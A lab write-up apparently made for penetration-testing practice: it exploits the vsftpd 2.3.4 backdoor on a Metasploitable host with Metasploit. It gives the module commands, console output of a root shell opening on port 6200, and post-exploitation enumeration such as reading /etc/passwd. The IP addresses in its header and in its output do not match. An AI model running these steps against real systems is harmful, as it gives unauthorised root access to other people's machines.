

vsftpd 2.3.4 Backdoor — Exploitation Report & Documentation

Author : Aryan Singh

Target : 192.168.1.6

Attacker : 192.168.1.5

1. Vulnerability overview

- Vulnerable service: vsftpd (Very Secure FTP Daemon) version 2.3.4.
- **Root cause / behavior:** A malicious/backdoored vsftpd 2.3.4 build contains a backdoor that, when triggered, spawns a listening service on TCP port **6200** which returns a shell. Historically the backdoor could be triggered by a specially crafted username (often including the characters :)), or by other inputs that the compromised binary recognizes. In practice, Metasploit's module triggers the backdoor automatically and handles session creation.
- **Impact:** Full remote code execution and a root shell on the FTP server host (high severity).

2. Step by step reproduction (Metasploit)

- Start msfconsole on the attacker machine (Kali):
Either by searching or using the command msfconsole
- Select the vsftpd backdoor module:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use
exploit/unix/ftp/vsftpd_234_backdoor
- Configure the target host (RHOST or RHOSTS) and optionally RPORT if nonstandard:
set RHOSTS 192.168.254.3 to whatever your vulnerable meta2 machine is running on.

- view module options and info to confirm settings:
show options
info
- Run the exploit:
Exploit → this is the command.

3. Screenshots

```
msf6 auxiliary(ftp/vsftpd_234) > use 1
[*] Using configured payload cmd/unix/interact
msf6 exploit(ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    192.168.254.3    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     21               yes       The target port (TCP)

Exploit target:
  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.
msf6 exploit(ftp/vsftpd_234_backdoor) > run
[*] 192.168.254.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.254.3:21 - USER: 331 Please specify the password.
[+] 192.168.254.3:21 - Backdoor service has been spawned, handling...
[+] 192.168.254.3:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 3 opened (10.0.2.15:38199 → 192.168.254.3:6200) at 2025-10-01 03:12:07 -0400

View the full module info with the info, or info -d command.
msf6 exploit(ftp/vsftpd_234_backdoor) > run
[*] 192.168.254.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.254.3:21 - USER: 331 Please specify the password.
[*] 192.168.254.3:21 - Backdoor service has been spawned, handling...
[*] 192.168.254.3:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 4 opened (10.0.2.15:34961 → 192.168.254.3:6200) at 2025-10-01 03:13:44 -0400

c
Abort session 3? [y/N] y

[*] 192.168.254.3 - Command shell session 3 closed. Reason: User exit
msf6 exploit(ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.254.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.254.3:21 - USER: 331 Please specify the password.
[*] 192.168.254.3:21 - Backdoor service has been spawned, handling...
[*] 192.168.254.3:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 4 opened (10.0.2.15:34961 → 192.168.254.3:6200) at 2025-10-01 03:13:44 -0400

sysinfo
sh: line 6: sysinfo: command not found
dir
bin dev initrd lost-found nohup.out root sys var
boot etc initrd.img media opt sbin tmp vmlinuz
cdrom home lib mnt proc srv usr
cd home
ls
ftp
msfadmin
service
user
cat: msfadmin: Is a directory
cd msfadmin
ls
vulnerable
```

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:f2:4a:7c
          inet addr:192.168.254.3  Bcast:192.168.254.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe72:4a7c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:656 errors:0 dropped:0 overruns:0 carrier:0
          TX packets:663 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:46201 (45.1 KB)  TX bytes:1453109 (1.3 MB)
          Base address:0xd020 Memory:fc200000-fc220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:194 errors:0 dropped:0 overruns:0 frame:0
          TX packets:194 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:69001 (67.3 KB)  TX bytes:69001 (67.3 KB)

msfadmin@metasploitable:~$ cd home
-bash: cd: home: No such file or directory
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$
```

4. Post Exploitation Notes/ What to check ?

- When you have a shell, typical checks performed in the lab were:
id — confirms UID and effective privileges.

`uname -a` — kernel and OS version.

`ifconfig/ip addr` — to confirm target IP and network interfaces (screenshot shows 192.168.254.3).

`ls, cat /etc/passwd, ps aux` — to enumerate files, users, and running processes.

`pwd` and `whoami` — to confirm working directory and user.